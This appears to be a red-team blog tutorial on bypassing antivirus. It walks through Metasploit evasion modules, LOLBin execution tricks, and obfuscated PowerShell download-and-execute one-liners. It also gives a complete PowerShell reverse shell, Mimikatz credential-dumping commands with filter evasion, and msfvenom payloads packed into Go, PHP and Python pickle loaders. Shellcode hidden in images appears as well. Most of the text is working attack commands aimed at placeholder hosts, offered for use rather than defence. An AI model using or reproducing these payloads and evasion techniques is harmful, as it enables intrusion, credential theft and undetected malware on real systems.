Techniques of bypassing antivirus are developing rapidly, and this article shows some practical tools/tips.
General
Actually years age just modifying some special strings or add rubbish paddings at the end makes antivirus confused about the sample, but for now only encryption and obfuscation works, sometimes we even need to explore more native APIs to bypass and this can be still temporary.
What I want to show here is not about detailed information, but some easy-to-use tools which help red teaming. For some hardcore learners, check this out.
Metasploit
In MSF Pentest Route I introduced pretty much about metasploit framework penetration testing, only to forget the Evasion
module which updated in Metasploit 5.0.
1 | msf6 > show evasion |
Try to use one
1 | msf6 > use evasion/windows/windows_defender_exe |
Then we get a default meterpreter reverse shell at /root/.msf4/local/mikXxir.exe
Veil
As this installation requires wine
and part of graph GUI, so remember to install a desktop environment (I’m talking to WSL
users).
As for usages, follow the lead in banner and the parameters are similar to msf
.
charlotte
13/05/2021:
- c++ shellcode launcher, fully undetected 0/26 as of 13th May 2021.
- dynamic invoking of win32 api functions
- XOR encryption of shellcode and function names
- randomised XOR keys and variables per run
- on Kali Linux, simply ‘apt-get install mingw-w64*’ and thats it!
Usage:
1 | $ git clone https://github.com/9emin1/charlotte.git && apt-get install mingw-w64* |
On victim:
1 | > download `charlotte.dll` first (wget, curl, powershell, certutil) |
Finally online and no AV detects.
White list
Includes some LOLBins(Living-Off-the-Land Binaries). These gadgets are always Windows
native softwares, with legal digital signs and some acts as components of middleware in Windows
forfiles
It executes one command to operate batch of files./p
sets folder to search files, /m
sets keywords, and /c
sets command
1 | > forfiles /p c:\windows\system32 /m calc.exe /c C:\path\to\payload.exe |
pcalua
A component of Windows Program Compatibility Assistant, -a
to execute.
1 | > pcalua.exe -a C:\path\to\payload.exe |
SyncAppvPublishingServer
It has vbs
and exe
versions.
1 | > SyncAppvPublishingServer.vbs "n; Start-Process C:\path\to\payload.exe" |
Using regsvr32
to execute remote scripts.
1 | > SyncAppvPublishingServer.vbs "Break; regsvr32 /s /n /u /i:http://x.x.x.x:xxxx/xxx.sct scrobj.dll" |
Cmd Hijack
Use path traversing to confuse monitoring system
1 | > cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/calc.exe" |
Other 2 methods:
1 | > ping ;calc.exe 127.0.0.1/../../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/POWERSHELL.EXE |
conhost.exe
Console Host Process, the host of console
1 | > conhost.exe C:\path\to\payload.exe |
explorer.exe
Familiar to it
1 | > explorer.exe C:/path/to/payload.exe |
waitfor
Sync pc in internet communication using signals
1 | > waitfor pentestlab && PowerShell IEX (IWR http://x.x.x.x/xxx).Content |
InstallUtil.exe
X86
1 | > C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll |
X64
1 | > C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll |
Regsvcs.exe
X86
1 | > C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe AllTheThings.dll |
X64
1 | > C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe AllTheThings.dll |
Regasm.exe
X86
1 | > C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U AllTheThings.dll |
X64
1 | > C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U AllTheThings.dll |
Regsvr32.exe
X86
1 | > regsvr32 /s /u AllTheThings.dll --> Calls DllUnregisterServer |
X64
1 | > regsvr32 /s AllTheThings.dll --> Calls DllRegisterServer |
Rundll32.exe
1 | > rundll32 AllTheThings.dll,EntryPoint |
Msiexec
1 | > C:\Windows\System32\msiexec.exe /q /i http://ip:port/beta.txt |
Bypass UAC
Check UACME for rich UAC
bypassing materials.
Under Source
folder there are:
Akagi
, x64/x86-32 main executable file, contain payload/data units.Akatsuki
, x64 payload, WOW64 logger.Fubuki
, x64/x86-32 payload, general purpose.Kamikaze
, data, MMC snap-in.Naka
, x64/x86-32 compressor for other payload/data units.Yuubari
, x64 UAC info data dumper.
Multiple Programming Language
Powershell
Powershell
has 6 execution policies:
- Unrestricted: the highest authority, with no limit on any script execution
- Restricted: default policy, any script execution is not allowed
- AllSigned: all scripts need to be signed before running
- RemoteSigned: no limit for local, but requires signs when from online
- Bypass: without any restrictions
- Undefined: no policy for scripts
The default one is Restricted
and we can use Get-ExecutionPolicy
to get current policy.
With Administrator
privilege we can use Set-ExecutionPolicy Unrestricted
to get highest execution policy, then we are able to run any powershell scripts. To recover, use Set-ExecutionPolicy Restricted
.
Now we think about bypass execution policy to run scripts when it is Restricted
.
With a file:
1 | > powershell Get-Content test.ps1 | powershell -NoProfile - |
To be fileless (like scripted web delievery in Cobalt Strike
):
1 | > powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:xxx/a'))" |
But these are just bypassing execution policy, what about bypassing AV?
- Command Obfuscation
If we run that directly
1 | > powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:xxx/a'))" |
We get caught due to IEX
usage (IEX
-> Invoke-expression), so get it an alias iii
1 | > powershell set-alias -name iii -value Invoke-Expression;iii(New-Object Net.WebClient).DownloadString('http://x.x.x.x:xxx/a') |
Or use echo
1 | > echo Invoke-Expression(new-object net.webclient).downloadstring('http://x.x.x.x:xxx/a') | powershell - |
Or use +
to split and concat variables
1 | > powershell -c "IEX(New-Object Net.WebClient)."DownloadString"('ht'+'tp://x.x.x.x:xxx/a')" |
- Code Obfuscation
When we run Powershell -ExecutionPolicy Bypass -File ./payload.sp1
to execute payload that Cobalt Strike
generated, it will be detected by AV.
We can try base64
encoding to encode the whole string that this original payload loads to run, and load it by decoding first in new payload. Replace it as:
1 | $base64-decoded-var=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64-encoded-string)) |
And dont forget to change related variable names. Then run Powershell -ExecutionPolicy Bypass -File .\payload.sp1
to get it online and bypassing AV.
This is a powershell obfuscation framework on github and often used by APT32.
Load/import it and run:
1 | > Import-Module ./Invoke-Obfuscation.psd1 |
We can see the banner
![Invoke-Obfuscation](/imghost/bav/Invoke-Obfuscation Screenshot.png)
1 | # set target first |
After that the 2.ps1
is anti-AV.
Normally we get powershell
reverse shell by
1 | powershell -c "$client = New-Object Net.Sockets.TCPClient('x.x.x.x',xxxx);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback+'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()" |
Listen at x.x.x.x with port xxxx will get a powershell
which is powerful and more difficult to be monitored than cmd
From the README.md it encrypts mimikatz
1 | > Import-Module ./xencrypt.ps1 |
You will now have an encrypted xenmimi.ps1 file in your current working directory. You can use it in the same way as you would the original script, so in this case:
1 | > Import-Module ./xenmimi.ps1 |
It also supports recursive layering via the -Iterations flag.
1 | > Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100 |
Warning though, the files can get big and generating the output file can take a very long time depending on the scripts and number of iterations requested.
- Other Ways
still mimikatz
as an example
1 | > powershell -exec bypass "import-module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -DumpCreds" |
To be living off the land
1 | > powershell "IEX (New-ObjectNet.WebClient).DownloadString('http://x.x.x.x/xxx'); Invoke-Mimikatz -DumpCreds" |
Pass filters of string “http”
1 | > powershell "IEX (New-ObjectNet.WebClient).DownloadString(('htAtp://x.x.x.x/xxx' -replace 'A',''));Invoke-Mimikatz -DumpCreds" |
Not only powershell
scripts, we can load exe
into memory for execution using Invoke-ReflectivePEInjection in PowerSploit (nolonger supported)
1 | > powershell.exe -exec bypass IEX (New-ObjectNet.WebClient).DownloadString(('htBtp://x.x.x.x/xxx' -replace'B',''));Invoke-ReflectivePEInjection -PEUrl http://x.x.x.x/mimikatz.exe -ExeArgs "sekurlsa::logonpasswords" -ForceASLR |
Golang
Go is an open source programming language that makes it easy to build simple, reliable, and efficient software.
The Go
programing language (golang
) was published by Google
in 2009, having great performance like C
/C++
and garbage collection (GC) like Java
, but without dependence on vm.
However the Go
binaries are always not so small, with a statically linked runtime
library, and maybe that’s why most antivirus engines on the market have relatively weak detection capabilities for them.
- Main Idea
Since Go
binary for now can bypass some AV softwares directly, we can inject a ELF
shellcode in and let binary load it when running (aka. Fileless
or Living off the Land
).
Here are some tools:
- https://github.com/gobuffalo/packr
- https://github.com/rakyll/statik
- https://github.com/GeertJohan/go.rice
- https://github.com/UnnoTed/fileb0x
- https://github.com/mjibson/esc
- https://github.com/kevinburke/go-bindata
- https://github.com/lu4p/binclude
- https://github.com/omeid/go-resources
- https://github.com/pyros2097/go-embed
- https://github.com/wlbr/mule
- https://github.com/miscing/embed
- https://github.com/kyioptr/gassets
Here is an example.
We give https://github.com/kevinburke/go-bindata a try.
First generate a backdoor:
1 | $ msfvenom -p linux/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 lhost=x.x.x.x lport=xxxx -f elf > ./test |
And we get result:
As this is Linux
platform and has been encoded, so we get this number. Anyway we use golang
to pack:
1 | # https://github.com/kevinburke/go-bindata |
Here we’ll get a bindata.go
in which stores data of ./test
, and now we should write a main()
to load test
data into memory and execute:
1 | const ( |
The result:
And the Windows platform, before:
After:
This testing project is on github
PHP
Like Golang
part, converting a PHP
reverse shell to a exe
can also lower detection rate.
The Bambalam PHP EXE Compiler is like pyinstaller
, packing PHP
script to exe
.
Generate php reverse shell
1 | $ msfvenom -p php/meterpreter_reverse_tcp LHOST=x.x.x.x LPORT=xxxx -f raw > shell.php |
Use Bambalam PHP EXE Compiler to process the file
1 | $ bamcompile.exe -w -c shell.php shell.exe |
Python
Python
is also used as a loader, always utilize ctypes
to call C
functions and base64
to do obfuscation.
In Python
some functions like exec()
, eval()
, os.system()
and subprocess.Popen()
are noticed always with a glance, to hind the execution we choose deserialization.
Example of Python
deserialization:
1 | import subprocess |
Magic method __reduce__
is called when an object is Pickled
, and what it returns will be executed.os.system()
, subprocess.Popen()
and eval()
can be choosed but, only the last eval()
gets rid of popping black window. However eval()
can just run single lines.
Anyway here is how to generate a Python
shellcode loader (Python2
version):
1 | import ctypes,cPickle,base64,urllib2 |
Then we get a Loader.py
and use pyinstaller
to pack it.
1 | $ PyInstaller --noconsole --onefile Loader.py |
Shellcode in Picture
This method first divides the malware into loader and shellcode, and puts shellcode in a picture.
Proj1: Hou Qing
- Change the
KEY_1
andKEY_2
incode.go
andLoader.go
. - Set up a listener, and write payload in
code.go
(can use java listener to get byte-shellcode). - Run
code.go
:go run code.go xxx.png
and upload png to a website(image should not be compressed). - write image url in
Loader.go
. - run
Loader.go
:go run Loader.go
to get online. - Compile it as EXE:
go build -ldflags="-H windowsgui" Loader.go
and use SFX, RLO, or so, to disguise.
Proj2: Invoke-PSImage
- Generate payload.ps1 by MSF/CS and put it in
Invoke-PSImage
folder - Generate shell.png:
1
2
3Set-ExecutionPolicy Unrestricted -Scope CurrentUser
Import-Module .\Invoke-PSimage.ps1
Invoke-PSImage -Script .\payload.ps1 -Image .\origin.jpg -Out .\shell.png -Web - Get a line of code to invoke the shell:
1
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/shell.png"));$o=a Byte[] 5120;(0..1)|%{foreach($x in(0..2559)){$p=$g.GetPixel($x,$_);$o[$_*2560+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))
- Loader-Shellcode structure is also recommended. You can compile the powershell above to a PE file, and use SFX, RLO, …
Addition
Bypass tools:
- ShellcodeLoader
- AV_Evasion_Tool
- BypassAntiVirus
- bypass
- BypassAV
- FUD-UUID-Shellcode
- ShellcodeLoader knownsec
- ShellCode_Loader Axx8
- Bypass_AV Axx8
- GoBP
- nim_shellloader
- TerraLdr
Online resources: